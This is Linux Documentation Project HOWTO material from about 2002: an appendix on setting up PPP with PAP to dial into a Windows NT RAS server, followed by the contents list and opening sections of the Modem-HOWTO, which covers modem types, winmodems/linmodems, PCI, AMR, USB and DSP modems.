Copyright policy is GNU/GPL as per LDP (Linux Documentation project). LDP is a GNU/GPL project. Additional restrictions are - you must retain the author's name, email address and this copyright notice on all the copies. If you make any changes or additions to this document then you should intimate all the authors of this document.


Modem-Dialup-NT HOW-TO: Appendix A Connecting Linux + PPP < -- > NT + RAS...

 Next Previous Contents

7. Appendix A Connecting Linux + PPP < -- > NT + RAS...

This section is written by John Newbigin, Email: jn@it.swin.edu.au Below is extract from http://uranus.it.swin.edu.au/~jn/linux/ppp/linuxppp.htm

See also PPP HOWTO

  • Part 1... The easy bit : Use minicom or your favourite terminal program to dial the NT RAS Server. Once you have a connection you can proceed to Part 2. Make sure you can quit your terminal without resetting the modem.

  • Part 2... The harder bit : Setting up the /etc/ppp/options file may be a bit tricky. The important things to do are... Make sure you do not have any of the following entries:
    • auth #This will demand that the NT machine authenticate it's self to your machine, this is generally not possible, or needed

    • +pap #This will demand that the NT machine authenticates it's self using PAP, see above

    • -pap #This says that you won't agree to use PAP

    • +chap #This will demand that the NT machine authenticates it's self using CHAP, see above

    Make sure the RAS server will accept plain text passwords. You need this to use PAP authentication. This can be set by going to Control Panel -> Network -> Services -> Remote Access Service -> Properties. Select the modem or dial up device, go to Network -> Server Settings -> Encryption Settings and select "allow any authentication including plain text". Then hit OK, Save etc. to close it all.

  • Part 3... The hardest bit (without this document) : NOTE: If you use my pppd patch, you will not have to do this In the /etc/ppp/pap-secretes file, add the following lines:
    "" * ""
"jn" * "MyPassword"
    Where jn is your user name on the NT machine. But what if you are a member of a domain? Then use this instead (where csse-mm is replaced with your domain name)
    "" * ""
"csse-mm\\jn" * "MyPassword"
    Note that you must escape the "\" character as "\\". then, back to the /etc/ppp/options file and add the following line:
    name "jn"
or
name "csse-mm\\jn"
    depending what you put in the pap-secretes file.

  • Part 4... Another easy bit : Dial in to the server, like in step one, or using your custom script. Start ppp with the following line: pppd 115200 /dev/cua1 or whatever your settings might be. You may want to enable debug information if something does not work, but everything should. Run "ifconfig" and you should see an entry for ppp0. If you do then you are cooking with gas. Restart pppd using the "defaultroute" option and start surfing the internet. If you are still having trouble, or can't understand any of these instructions, drop me an e-mail John Newbigin ( jn@it.swin.edu.au ).


Modem-HOWTO

David S.Lawyer mailto:dave@lafn.org

v0.23, January 2002

Help with selecting, connecting, configuring, trouble-shooting, and understanding modems for a PC. See Serial-HOWTO for multiport serial boards.

1. Introduction

  • 1.1 DSL, Cable, and ISDN Modems in other HOWTOs
  • 1.2 Also not covered: PCMCIA Modems, PPP
  • 1.3 Copyright, Disclaimer, Trademarks, & Credits
  • 1.4 Contacting the Author
  • 1.5 New Versions of this HOWTO
  • 1.6 New in Recent Versions
  • 1.7 What is a Modem ?
  • 1.8 Quick Install

2. Modems for a Linux PC

  • 2.1 External vs. Internal
  • 2.2 Is a Driver Needed ?
  • 2.3 External Modems
  • 2.4 Internal Modems
  • 2.5 Software-based Modems (winmodems, linmodems)
  • 2.6 PCI Modems
  • 2.7 AMR Modems
  • 2.8 USB Modems
  • 2.9 Which Internal Modems might not work with Linux

3. Modem Pools

  • 3.1 Introduction
  • 3.2 Analog Modem Pools, Multi-modem Cards
  • 3.3 Digital Modems, RAS

4. Serial Port and Modem Basics

  • 4.1 What is a Serial Port ?
  • 4.2 IO Address & IRQ
  • 4.3 Names: ttyS0, ttyS1, etc.
  • 4.4 Interrupts
  • 4.5 Flow Control
  • 4.6 Data Flow Path; Buffers
  • 4.7 Serial Driver Module

5. Configuring Overview

6. Locating the Serial Port: IO address, IRQs

  • 6.1 IO & IRQ Overview
  • 6.2 PCI Bus Support
  • 6.3 Common mistakes made re low-level configuring
  • 6.4 IRQ & IO Address Must be Correct
  • 6.5 What is the IO Address and IRQ per the driver ?
  • 6.6 What is the IO Address & IRQ of my Serial Port Hardware?
  • 6.7 Choosing Serial IRQs
  • 6.8 Choosing Addresses --Video card conflict with ttyS3
  • 6.9 Set IO Address & IRQ in the hardware (mostly for PnP)
  • 6.10 Giving the IRQ and IO Address to Setserial

7. Configuring the Serial Driver (high-level) "stty"

  • 7.1 Introduction
  • 7.2 Hardware flow control (RTS/CTS)
  • 7.3 Speed Settings
  • 7.4 Ignore CD Setting: clocal
  • 7.5 What is stty ?

8. Modem Configuration (excluding serial port)

  • 8.1 Finding Your Modem
  • 8.2 AT Commands
  • 8.3 Init Strings: Saving and Recalling
  • 8.4 Other AT Modem Commands
  • 8.5 Blacklisting
  • 8.6 What AT Commands are Now Set in my Modem?
  • 8.7 Modem States (or Modes)

9. Serial Port Devices /dev/ttyS2, (or /dev/ttys/2) etc.

  • 9.1 Devfs (The new Device File System)
  • 9.2 Serial Port Device Names & Numbers
  • 9.3 USB (Universal Serial Bus) Ports
  • 9.4 Link ttySN to /dev/modem
  • 9.5 cua Device Obsolete

10. Interesting Programs You Should Know About

  • 10.1 What is setserial ?
  • 10.2 What is isapnp ?
  • 10.3 What is wvdialconf ?

11. Trying Out Your Modem (Dialing Out)

  • 11.1 Are You Ready to Dial Out ?
  • 11.2 Dialing Out with wvdial
  • 11.3 Dialing Out with Minicom
  • 11.4 Dialing Out with Kermit

12. Dial-In

  • 12.1 Dial-In Overview
  • 12.2 What Happens when Someone Dials In ?
  • 12.3 56k doesn't work
  • 12.4 Getty
  • 12.5 Why "Manual" Answer is Best
  • 12.6 Dialing Out while Waiting for an Incoming Call
  • 12.7 Ending a Dial-in Call
  • 12.8 Dial-in Modem Configuration
  • 12.9 Callback
  • 12.10 Voice Mail
  • 12.11 Simple Manual Dial-In
  • 12.12 Complex GUI Dial-In, VNC
  • 12.13 Interoperability with MS Windows

13. Uugetty for Dial-In (from the old Serial-HOWTO)

  • 13.1 Installing getty_ps
  • 13.2 Setting up uugetty
  • 13.3 Customizing uugetty

14. What Speed Should I Use with My Modem?

  • 14.1 Speed and Data Compression
  • 14.2 Where do I Set Speed ?
  • 14.3 Can't Set a High Enough Speed
  • 14.4 Speed Table

15. Communications Programs And Utilities

  • 15.1 Minicom vs. Kermit
  • 15.2 List of Communication Software
  • 15.3 SLiRP and term
  • 15.4 MS Windows

16. Two Modems (Modem Doubling)

  • 16.1 Introduction
  • 16.2 Modem Bonding

17. Troubleshooting

  • 17.1 My Modem is Physically There but Can't be Found
  • 17.2 "Modem is busy"
  • 17.3 I can't get near 56k on my 56k modem
  • 17.4 Uploading (downloading) files is broken/slow
  • 17.5 For Dial-in I Keep Getting "line NNN of inittab invalid"
  • 17.6 I Keep Getting: ``Id "S3" respawning too fast: disabled for 5 minutes''
  • 17.7 My Modem is Hosed after Someone Hangs Up, or uugetty doesn't respawn
  • 17.8 NO DIALTONE
  • 17.9 NO CARRIER
  • 17.10 uugetty Still Doesn't Work
  • 17.11 (The following subsections are in both the Serial and Modem HOWTOs)
  • 17.12 My Serial Port is Physically There but Can't be Found
  • 17.13 Extremely Slow: Text appears on the screen slowly after long delays
  • 17.14 Somewhat Slow: I expected it to be a few times faster
  • 17.15 The Startup Screen Show Wrong IRQs for the Serial Ports.
  • 17.16 "Cannot open /dev/ttyS?: Permission denied"
  • 17.17 "Operation not supported by device" for ttyS?
  • 17.18 "Cannot create lockfile. Sorry"
  • 17.19 "Device /dev/ttyS? is locked."
  • 17.20 "/dev/tty? Device or resource busy"
  • 17.21 "Input/output error" from setserial or stty
  • 17.22 Overrun errors on serial port
  • 17.23 Port get characters only sporadically
  • 17.24 Troubleshooting Tools

18. Flash Upgrades

19. Other Sources of Information

  • 19.1 Misc
  • 19.2 Books
  • 19.3 HOWTOs
  • 19.4 Usenet newsgroups
  • 19.5 Web Sites

20. Appendix A: How Analog Modems Work (technical) (unfinished)

  • 20.1 Modulation Details
  • 20.2 56k Modems (V.90, V.92)
  • 20.3 Full Duplex on One Circuit
  • 20.4 Echo Cancellation

21. Appendix B: Digital Modem Signal Processing (not done)

22. Appendix C: "baud" vs. "bps"

  • 22.1 A simple example
  • 22.2 Real examples

23. Appendix D: Terminal Server Connection

24. Appendix E: Other Types of Modems

  • 24.1 Digital-to-Digital "Modems"
  • 24.2 ISDN "Modems"
  • 24.3 Digital Subscriber Line (DSL)
  • 24.4 56k Digital-Modems
  • 24.5 Leased Line Modems

25. Appendix F: Fax pixels (dots)

26. Appendix G: Antique Modems

  • 26.1 Introduction
  • 26.2 Old CCITT (ITU) and Bell Protocols
  • 26.3 Historical Overview
  • 26.4 Proprietary protocols, etc.
  • 26.5 Autobauding
  • 26.6 Modem-to-modem Speed
  • 26.7 Modem-to-serial_port Speed
  • 26.8 Before AT Commands
  • 26.9 Data Compression and Error Correction


Modem-HOWTO : Introduction

 Next Previous Contents

1. Introduction

1.1 DSL, Cable, and ISDN Modems in other HOWTOs

This HOWTO covers conventional analog modems for PCs on either the ISA, PCI, or USB bus. USB coverage is weak. For other types of modems see:

  • DSL-HOWTO (formerly ADSL mini-howto)
  • Cable-Modems-HOWTO (same as Cable Modem Providers HOWTO)
  • SuSE ISDN Howto (not a LDP Howto) http://brenner.chemietechnik.uni-dortmund.de/doc/sdb/en/html/isdn.html
  • http://public.swbell.net/ISDN/overview.html tutorial on ISDN
  • ISDN docs in the kernel documentation subdirectory: "isdn".
  • http://www.isdn4linux.de (1998, old)
  • Appendix D: Other Types of Modems

1.2 Also not covered: PCMCIA Modems, PPP

For modems on the PCMCIA bus see the PCMCIA-HOWTO: PCMCIA serial and modem devices. This HOWTO also doesn't cover PPP (used to connect to the Internet via a modem) or communication programs. Except it does show how to use communication programs to test that your modem works OK and can make phone calls. If you want to use a modem to connect to the Internet then you need to set up PPP. There's a lot of documentation for PPP (including a PPP-HOWTO). More documentation should be found in /usr/doc/ppp, /usr/share/doc/ppp or the like.

1.3 Copyright, Disclaimer, Trademarks, & Credits

Copyright

Copyright (c) 1998-2001 by David S. Lawyer mailto:dave@lafn.org

Please freely copy and distribute (sell or give away) this document in any format. Send any corrections and comments to the document maintainer. You may create a derivative work and distribute it provided that you:

  1. If it's not a translation: Email a copy of your derivative work (in a format LDP accepts) to the author(s) and maintainer (could be the same person). If you don't get a response then email the LDP (Linux Documentation Project): submit@linuxdoc.org.
  2. License the derivative work in the spirit of this license or use GPL. Include a copyright notice and at least a pointer to the license used.
  3. Give due credit to previous authors and major contributors.

If you're considering making a derived work other than a translation, it's requested that you discuss your plans with the current maintainer.

Disclaimer

While I haven't intentionally tried to mislead you, there are likely a number of errors in this document. Please let me know about them. Since this is free documentation, it should be obvious that I cannot be held legally responsible for any errors.

Trademarks.

Any brand names (starts with a capital letter) should be assumed to be a trademark). Such trademarks belong to their respective owners.

"Hayes" is a trademark of Microcomputer Products Inc. I use "winmodem" to mean any modem which requires MS-Windows and not in the trademark sense. All other trademarks belong to their respective owners.

Credits

The following is only a rough approximation of how this this document (as of 2000) was created: About 1/4 of the material here was lifted directly from Serial-HOWTO v. 1.11 (1997) by Greg Hankins. mailto:gregh@twoguys.org (with his permission). About another 1/4 was taken from that Serial-HOWTO and revised. The remaining 1/2 is newly created by the new author: David S. Lawyer mailto:dave@lafn.org.

1.4 Contacting the Author

Since I don't follow the many different brands/models of modems please don't email me with questions about them (or suggestions of which one to buy). If you are interested in a certain model (to find out if it works under Linux, etc.) see the huge list at Web Sites. Also, please don't ask me how to configure a modem unless you've looked over this HOWTO and still can't do it. I've no personal experience with software-based modems.

Please let me know of any errors in facts, opinions, logic, spelling, grammar, clarity, links, etc. But first, if the date is over a month or two old, check to see that you have the latest version. Please send me any other info that you think belongs in this document.

1.5 New Versions of this HOWTO

New versions of this Modem-HOWTO come out every few months. The modem situation is rapidly changing (and I'm still learning). Your problem might be solved in the latest version. It will be available to browse and/or download at LDP mirror sites. For a list of such sites see: http://www.linuxdoc.org/mirrors.html If you only want to quickly compare the date of this the version v0.23, January 2002 with the date of the latest version go to: http://www.linuxdoc.org/HOWTO/Modem-HOWTO.html

1.6 New in Recent Versions

v0.23 January 2002: dropped connection w/V.90, X3 to force dialing if NO DIALTONE, more on USB, wvdial added to "Trying Out Your Modem", major revision to "Antique Modems", several broken links fixed, better clarity re RAS, digital modems. v0.22 September 2001: &X3 -> X3, NO CARRIER, NO DIALTONE
v0.21 August 2001: clarity re autobauding, corrected linmodem situation, more mention of USB, major revision of Configuring the Serial Port now named: Locating ...
v0.20 August 2001: fixed typo: done->down, more linmodems
v0.19 July 2001: Dialing Out while Waiting for a Call. Antique modems using "CONNECT" to set DTE speed.
v0.18 June 2001 new section: modem doubling (bonding, teaming, multilink)

1.7 What is a Modem ?

A modem is a device that lets one send digital signals over an ordinary telephone line not designed for digital signals. If telephone lines were all digital then you wouldn't need a modem. It permits your computer to connect to and communicate with the rest of the world. When you use a modem, you normally use a communication program or web browser to utilize the modem and dial-out on a telephone line. Advanced modem users can set things up so that others may phone in to them and use their computer. This is called "dial-in".

There are four basic types of modems for a PC: external, USB, internal and built-in. The external and USB set on your desk outside the PC while the other two types are not visible since they're inside the PC. The external modem plugs into a connector on the back of the PC known as a "serial port". The USB modem plugs into the USB bus cable. See USB Modems. The internal modem is a card that is inserted inside the computer. The built-in modem is part of the motherboard and is thus built into the computer. It's is just like an internal modem except it can't be removed or replaced. As of 2001, built-in modems are primarily for laptops. What is said in this HOWTO regarding internal modems will generally apply also to built-in modems.

For a more detailed comparison see External vs. Internal. When you get an internal, built-in, or USB modem, you also get a dedicated serial port (which can only be used with the modem and not with anything else such as another modem or a printer). In Linux, the serial ports are named ttyS0, ttyS1, etc. (usually corresponding respectively to COM1, COM2, etc. in Dos/Windows). For the new devfs they are all in the /dev/ttys/ directory and named 0, 1, etc. See Modem & Serial Port Basics for more details on modems and serial ports.

Modems usually include the ability to send Faxes (Fax Modems). See Fax for a list of fax software. "Voice" modems can work like an automatic answering machine and handle voicemail. See Voicemail.

1.8 Quick Install

External Modem Install

With a straight-thru or modem cable, connect the modem to an unused serial port on the PC. Make sure you know the name of the serial port: in most cases COM1 is ttyS0, COM2 is ttyS1, etc. You may need to check the BIOS setup menu to determine this. Plug in the power cord to provide power to the modem. See All Modems for further instructions.

Internal Modems (ISA, PCI and AMR)

The first thing to do is to make sure that the modem will work under Linux since (as of 2001) many modems don't. See modem list. If the modem is both PnP and directly supported by the serial driver (kernel 2.4 +) then there is no configuring for you to do since the driver will configure it.

To physically install a modem card, remove the cover of the PC by removing some screws (perhaps screw size 6-32 in the U.S.). Find a matching vacant slot for it next to the other adapter cards. Before inserting the card in the slot, remove a small cover plate on the back of the PC so that the telephone jacks on the card will be accessible from the rear of the PC. Then carefully align the card with the slot and push the card all the way down into the slot. Attach the card with a mounting screw (usually 3mm, .5mm pitch --don't use the wrong size).

If you have a modem that is not a winmodem (see Software-based Modems (winmodems)) the serial driver may configure it for you and you have nothing to do. This should be noted in the boot-time messages (use dmesg to see them or shift-page-up after they have flashed by).

But if you are not so lucky you may need to configure it yourself. You first need to decide which ttySx (or ttys/x) to assign it to. Pick a ttySx that is not already in use by other serial ports. Then you have the problem of setting an IRQ number and IO address. For PnP modems: If the BIOS has already set these in the physical device (which a PnP BIOS will do if it thinks you don't have a PnP OS) then you need to determine the IRQ and IO address and then tell this to "setserial".

In other cases you may have some choice of IRQs and IO addresses (including the case where you are able to change what the BIOS has set). See Choosing Serial IRQs and Choosing Addresses. For ISA modems there are standard IO addresses to use (corresponding to the ttySx). For example you may find it feasible to use /dev/ttyS2 at IO address 0x3e8 and IRQ 11. PCI modems seem to use different IO addresses so as not to conflict with ISA modems.

ISA Modems: What IOs and IRQs may be used?

For old modems with jumpers look at the manual (or jumpers if they say). If the BIOS has already configured the ISA modem then "pnpdump --dumpregs" should show it. If you need to set or change them use "isapnp". Use the "pnpdump" to see what changes are possible.

Both PCI and ISA: Use setserial to tell the driver

You must find the file where "setserial" is run at boot-time and add a line something like: "setserial /dev/ttyS2 irq 5 port 0x0b8". For setserial v2.15 and later the results of running "setserial" on the command line may (or may not) be saved to /etc/serial.conf so that it runs each time you boot. See What is Setserial for more info. See the next subsection All Modems for further instructions on quick installation.

Use MS Windows to set the BIOS (A last resort method)

If you are using the BIOS to configure you may attempt to use MS Windows9x to "force" the BIOS to set a certain IRQ and/or IO. It can set them into the PnP BIOS's flash memory where they will be used to configure for Linux as well as Windows. See "Plug-and-Play-HOWTO and search for "forced" (occurs in several places). For Windows3.x you can do the same thing using the ICU under Windows 3.x. A few modems have a way to disable PnP in the modem hardware using software (under Windows) that came with the modem.

All Modems

Plug the modem into a telephone line. Then configure a communication program such as minicom or a ppp program (such as wvdial). Set the serial port speed to a baud rate a few times higher than the bit rate of your modem. See Speed Table for more details on the "best" speeds to use. Tell it the full name of your serial port such as /dev/ttyS1 (or /dev/ttys/1). Set hardware flow control (RTS/CTS).

Minicom is the easiest to set up and to use to test your modem. But if you are lucky you may get ppp to work the first time and not need to bother with minicom. With minicom you may check to see if your modem is there (and ready to dial): Once you've set up minicom, type the command: AT, hit enter and you should see an "OK" response which comes direct from the modem.


Modem-HOWTO : Modems for a Linux PC

 Next Previous Contents

2. Modems for a Linux PC

2.1 External vs. Internal

A modem for a PC may be either internal or external. The internal one is installed inside of your PC (you must remove screws, etc. to install it) and the external one just plugs into a serial port connector on a PC. Internal modems are less expensive, are less likely to to suffer data loss due to buffer overrun, usually use less electricity, and use up no space on your desk.

External modems are usually easier to install and usually require less configuration. They have lights which may give you a clue as to what is happening and aid in troubleshooting. The fact that the serial port and modem can be physically separated also aids in troubleshooting. External modems are easy to move to another computer. If you need to turn the power off to reset your modem (this is seldom necessary) then with an external you don't have to power down the entire PC.

Unfortunately most external modems have no switch to turn off the power supply when not in use and thus are likely to consume a little electricity even when turned off (unless you unplug the power supply from the wall). Each watt they draw usually costs you over $1/yr. Another possible disadvantage of an external is that you will be forced to use an existing serial port which may not support a speed of over 115,200 bps (although as of late 2000 most new internal modems don't either --but some do). For details Can't Set a High Enough Speed

Internal modems present a special problem for Linux, but will work just as well as external modems provided you avoid the ones that will work only for MS Windows. Configuring them ranges from very easy (automatically) to difficult depending on both the modem, your skills, and how easy it is to find info about your modem --info that is not all in this HOWTO. Some of the modems which will work only under MS Windows due to lack of Linux drivers (for software modems). If you buy a new one that you're not sure will work under Linux, try to get an agreement that you can return it for a refund if it doesn't work out.

While most new modems are plug-and-play you have various ways to deal with the PnP configuring:

  • The serial driver does it all for you (more likely for a PCI modem)
  • Use the "isapnp" program
  • Let a PnP BIOS do the configuring
The last 2 items of the above have shortcomings. Isapnp documentation is difficult to understand although reading the Plug-and-Play-HOWTO (long) will aid in understanding it. If you want the PnP BIOS to do the configuring, all you need to do is to make sure that it knows that you don't have a PnP operating system. But it may not do it correctly and you may need to find out what it's done see What is set in my serial port hardware?.

Many Linux users still say that it's a lot simpler just to get an external modem and plug it in. But if you get the right internal modem it may be just as easy.

2.2 Is a Driver Needed ?

ISA (and some PCI) hardware modems (including all external modems) don't really need any driver. The serial port the the modem resides on does need a driver and it's supplied either as a Linux serial module or compiled into the kernel. Any driver for a PCI Modem should install automatically since they are detected by system software. Software modems do need a driver. The drivers for MS Windows are *.exe programs which will not run under Linux. So you must use a Linux driver (if it exists). See Software-based Modems (winmodems, linmodems)

2.3 External Modems

PnP External Modems

Many external modems are labeled "Plug and Play" (PnP) but they should all work fine as non-PnP modems. While the serial port itself may need to be configured (IRQ number and IO address) unless the default configuration is OK, an external modem uses no such IRQ/IO configuration. You just plug the modem into the serial port.

How can an external modem be called PnP since it can't be configured by PnP? Well, it has a special PnP identification built into it that can be read (thru the serial port) by a PnP operating system. Such an operating system would then know that you have a modem on a certain port and would also know the id number. If it's a software modem, it could try to locate a driver for it. It could also tell application programs what port your modem is on. (such as /dev/ttyS2 or COM3). But since you don't have such a PnP operating system you may need to configure your application program manually by giving it the /dev id (such as /dev/ttyS2). Some programs can probe for a modem on various ports.

Cabling & Installation

Connecting an external modem is simple compared to connecting most other devices to a serial port that require various types of "null modem" cables (which will not work for modems). Modems use straight through cable, with no pins crossed over. Most computer stores should have this. Make sure you get the correct gender and number of pins. Hook up your modem to one of your serial ports. If you are willing to accept the default IRQ and IO address of the port you connect it to, then you are ready to start your communication program and configure the modem itself.

What the Lights (LED's) Mean (for some external modems)

  • TM Test Modem
  • AA Auto Answer (If on, your modem will answer an incoming call)
  • RD Receive Data line = RxD
  • SD Send Data line = TxD
  • TR data Terminal Ready = DTR (set by your PC)
  • RI Ring Indicator (If on, someone is "ringing" your modem)
  • OH Off Hook (If off, your modem has hung up the phone line)
  • MR Modem Ready = DSR ??
  • EC Error Correction
  • DC Data Compression
  • HS High Speed (for this modem)

2.4 Internal Modems

An internal modem is installed in a PC by taking off the cover of the PC and inserting the modem card into a vacant slot on the motherboard. There are modems for PCI slots, other modems for the older ISA slots, and ARM software "modems" for the new small AMR slot. Some new PC don't have any ISA slots. Only some newer PCs will have ARM slots. While external modems plug into the serial port (via a short cable) the internal modems have the serial port built into the modem. In other words, the modem card is both a serial port and a modem.

Setting the IO address and IRQ for a serial port was formerly done by jumpers on the card. These are little black rectangular "cubes" about 5x4x2 mm in size which push in over pins on the card. Plug-and-Play modems (actually the serial port part of the modems) don't use jumpers for setting these but instead are configured by sending configuration commands to them over the bus inside the computer. Such configuration commands can be sent by a PnP BIOS, by the isapnp program (for the ISA bus only), by setpci (for the PCI bus), or by newer serial device drivers for certain modems. Under Linux you may have a choice of how to configure the ones that don't get io-irq configured by the serial driver.

  1. ISA bus: Use "isapnp" which may be run automatically at every boot-time
  2. Let a PnP BIOS do it, and then maybe tell setserial the IO and IRQ
  3. PCI bus: Use lspci -vv to look at it and setpci to configure.

See Quick Install for more details, especially for the PCI bus.

2.5 Software-based Modems (winmodems, linmodems)

Introduction to software modems (winmodems)

Software modems turn over some (or even almost all) of the work of the modem to the main processor (CPU) chip of your computer (such as a Pentium chip). This requires special software (a modem driver) to do the job. Until late 1999, such software was released only for MS Windows and wouldn't work with Linux. Even worse was that the maker of the modem kept the interface to the modem secret so that no one could write a Linux driver for it (even though a few volunteers were willing to write Linux drivers).

But things have improved some since then so that today (late 2001) many such modems do have a linux driver. There is no standard interface so that different brands/models of software-modems need different drivers (unless the different brands/models happen to use the same chipset internally).

Another name for a software modem (used by MS) is "driver-based modem". The conventional hardware-based modem (that works with Linux) doesn't need a modem driver (but does use the Linux serial driver) After about mid-1998 most new internal modems were software modems.

Software modems fall into 2 categories: linmodems and winmodems. Winmodems will only work under MS Windows. Linmodems will work under Linux (but formerly were mostly winmodems so some still call them "winmodems"). The term "Winmodem" is also a trademark for a certain model of "winmodem" but that's not the meaning of it in this document.

Linmodems

In late 1999, two software-based modems appeared that could work under Linux and were thus called "linmodems". Lucent Technologies (LT) unofficially released a Linux binary-only code to support most of its PCI modems. PC-TEL (includes "Zoltrix") introduced a new software-based modem for Linux. After that, interest increased for getting winmodems to work under linux. There is a GPL'ed driver for Intel's (Modem Silicon Operations) MD563x HaM chipset (nee Ambient division of Cirrus Logic). As of mid-2001 there are also drivers for: Conexant HSF, Motorola SM56, ESS (ISA only), and IBM's Mwave for Thinkpads 600+.

What percent of software modems now (2001) work under Linux? Well, there's a lot of modem chips not supported: Lucent/Agere ARM (Scorpio), 3COM/US Robotics, Conexant HCF, some SmartLink (3 different chipsets), Ambient HSP, and possibly others. But there might be support for some of these by the time you read this. So it seems that over half the software modem chips are now supported (as of late 2001).

Be warned in advance that determining if your modem is a linmodem may or may not be easy. You may need to first find out what chipset you have and who makes it. Just knowing the brand and model number of your modem may not be sufficient. There are complex ways to find this out using say "lspci" (more than once) and then looking up the chip maker using the long modem number. This requires checking a database or searching the Internet. It's not always simple. It could happen that you will put a fair amount of effort into this only to get the bad news that your modem isn't supported. See Linmodem-HOWTO for more details.

Linmodem sites and documentation

  • Linmodem-HOWTO
  • Winmodems-and-Linux-HOWTO (not as well written as Linmodem-HOWTO)
  • http://linmodems.org is a project to turn winmodems into linmodems. Has a mailing list.
  • modem list. Has links to linmodem info.
  • http://sayamindu.topcities.com/pctel.html is a HOWTO for PCTel software modems. Should be at LDP sites soon.

Software-based modem types

There are two basic types of software modems. In one type the software does almost all of the work. The other is where the software only does the "control" operations (which is everything except processing the digital waveshapes --to be explained later). Since the hardware doesn't do the control it's called a "controllerless" modem. The first type is an all-software modem (sometimes just called a software modem).

For both of these types there must be analog hardware in the modem to generate an electrical waveshape to send out the phone line. It's generated from a digital signal (which is sort of a "digital waveshape"). It's something like the digital electronics creates a lot of discrete points on graph paper and then the modem draws a smooth curve thru them. There must also be hardware to convert the incoming waveshape to digital. This is just analog-to-digital conversion (and conversely). It's done by a codec (coder-decoder).

Then this digital waveshape must be converted to a data byte stream. This is known as demodulation, while turning data bytes into a digital waveshape is known as modulation. The modem can't just send an incoming data byte stream to the PC but must first do decompression, error correction, and convert from serial to the parallel bus of the computer. Likewise for an outgoing data byte stream.

The difference between the two types of software-based modems is where the digital modulation takes place. In the all-software modem this modulation is done in the CPU using a Host Signal Processor (HSP). In the controllerless modem it's done in the modem but all other digital work is done by the CPU. This other digital work consists of dealing with AT-commands, data compression, error correction, and simulating a serial port. In the all-software modem, there are still two items handled by hardware: the A/D conversion of waveshapes by the codec and echo cancellation.

For example the Rockwell HCF (Host Controlled Family) is an all-software modem. If the software that does these tasks could be ported to Linux and then there wouldn't be a major problem.

Is this modem a software modem?

How do you determine if an internal modem is a software modem? First see if the name, description of it, or even the name of the MS Windows driver for it indicates it's a software modem: HSP, HCF, HSF, controllerless, host-controlled, host-based, and soft-... modem. If it's one of these modem it will only work for the cases where a Linux driver is available. Since software modems cost less, a low price is a clue that it's a software modem.

If you don't know the model of the modem and you also have Windows on your Linux PC, click on the "Modem" icon in the "Control Panel". Then check out the modem list (see Web Sites. If the above doesn't work (or isn't feasible), you can look at the package it came in (or a manual) find the section on the package that says something like "Minimum System Requirements" or just "System Requirements". It may be in fine print. Read it closely.

If it requires a Pentium CPU, then almost all of it's work is done by software and it's not likely to work under Linux. If it requires a 486 CPU (or better) then it's likely a host-controlled modem that will work only if there exists a Linux driver for it. Saying that it only works with Windows is also bad news. However, even in this case there may be a Linux driver for it.

Otherwise, it may be a hardware modem if it fails to state explicitly that you must have Windows. By saying it's "designed for Windows" it may only mean that it fully supports Microsoft's plug-and-play which is OK since Linux uses the same plug-and-play specs (but it's harder to configure under Linux). Being "designed for Windows" thus gives no clue as to whether or not it will work under Linux. You might check the Website of the manufacturer or inquire via email. Some manufacturers are specifically stating that certain models work under Linux.

Should I get a software modem?

Only if you know there is a Linux driver for it that works OK. Besides the problems of getting a driver, what are the pros and cons of software modems? Since the software modem uses the CPU to do some (or all) of its work, the software modem requires less on-board electronics and thus costs less. At the same time, the CPU work load is increased by the modem which may result in slower operation.

The percentage of loading of the CPU by the modem depends on both what CPU you have and whether or not it's an all-software modem. For a modern CPU and a modem that only uses the CPU as a controller, there's little loss of performance. In most other cases, you will not suffer a loss of performance if there are no other CPU-intensive tasks are running at the same time. Of course, when you're not using the software modem there is no degradation in performance at all.

Is the cost savings worth it? In many cases yes, especially if you don't use the modem much and/or are not running any other CPU intensive tasks when the modem is in use. The savings in modem cost could be used for a better CPU which would speed things up a little. But the on-board electronics of a modem can do the job more efficiently than a general purpose CPU (except that it's not efficient at all when it's not in use). So if you use the modem a lot it's probably better to avoid all-software modems (and then you can use a less powerful CPU :-).

2.6 PCI Modems

A PCI modem card is one which inserts into a PCI-bus slot on the motherboard of a PC. While many PCI winmodems will not work under Linux (no driver available) other PCI modems will work under Linux. The Linux serial driver is being modified to support certain PCI modem cards (but not winmodems). If the Linux serial driver supports it then the driver will set up the PnP configuration for you. See PCI Bus Support Underway If no special support is in the Linux serial driver it may still work OK but you have to do some work to configure it.

2.7 AMR Modems

These are all winmodems that insert into a special AMR (Audio Modem Riser) slot on the motherboard. Audio cards are sometimes used in this slot. The slot's main use is for HSF type modems where the CPU does almost all of the work. This results in a small modem card and thus a short AMR slot. Such a "modem" is actually little more than a codec which transforms digital signals representing an analog voltage wave into the analog wave itself (and conversely). Linux supports at least one of them.

2.8 USB Modems

USB = Universal Serial Bus. Some USB modems work with Linux and some don't. Linux has support for modems that conform to the USB Communication Device Class Abstract Control Model (= USB CDC ACM). There's a module for ACM named acm.o. See the /usb/acm... document in the kernel documentation directory (/usr/share/doc/kernel-doc-2.4.x in Debian, perhaps /usr/doc/kernel... in some distributions). The ACM serial port for the first (0th) such modem is (with devfs) is: /dev/usb/acm/0. Otherwise it might be /dev/usb/ttyACM0.

2.9 Which Internal Modems might not work with Linux

  • Software-based Modems (winmodems, linmodems) Only roughly half have a Linux driver available.
  • MWave and DSP Modems might work, but only if you first start Windows/Dos each time you power on your PC
  • Modems with RPI (Rockwell) drivers work but with reduced performance

MWave and some DSP Modems

Note that there's now a Linux driver for the ACP (Mwave) modem used in IBM Thinkpads 600+. See the mini-HOWTO: ACP-Modem.

While hardware modems used use DSPs (Digital Signal Processors) some of these DSPs are programmed by a driver which must be downloaded from the hard disk to the DSPs memory just before using the modem. Unfortunately, such downloading is normally done by Dos/Windows programs (which doesn't work for Linux). But there has been substantial success in getting some of these modems to work with Linux. For example, there is a Linux driver available to run a Lucent (DSP) modem.

Ordinary modems that work fine with Linux (without needing a driver for the modem) often have a DSP too (and may mention this on the packaging), but the program that runs the DSP is stored inside the modem. These work fine under Linux. An example of a DSP modem that has problems working under Linux is the old IBM's Aptiva MWAVE.

One way to get some DSP modems to work with Linux is to boot from DOS (if you have it on your Linux PC). You first install the driver under DOS (using DOS and not Window drivers). Then start Dos/Windows and start the driver for the modem so as to program the DSP. Then without turning off the computer, start Linux.

One may write a "batch" file (actually a script) to do this. Here is an example but you must modify it to suit your situation.

rem mwave is a batch file supplied by the modem maker
call c:\mww\dll\mwave start
rem loadlin.exe is a DOS program that will boot Linux from DOS (See
rem Config-HOWTO).
c:\linux\loadlin f:\vmlinuz root=/dev/hda3 ro

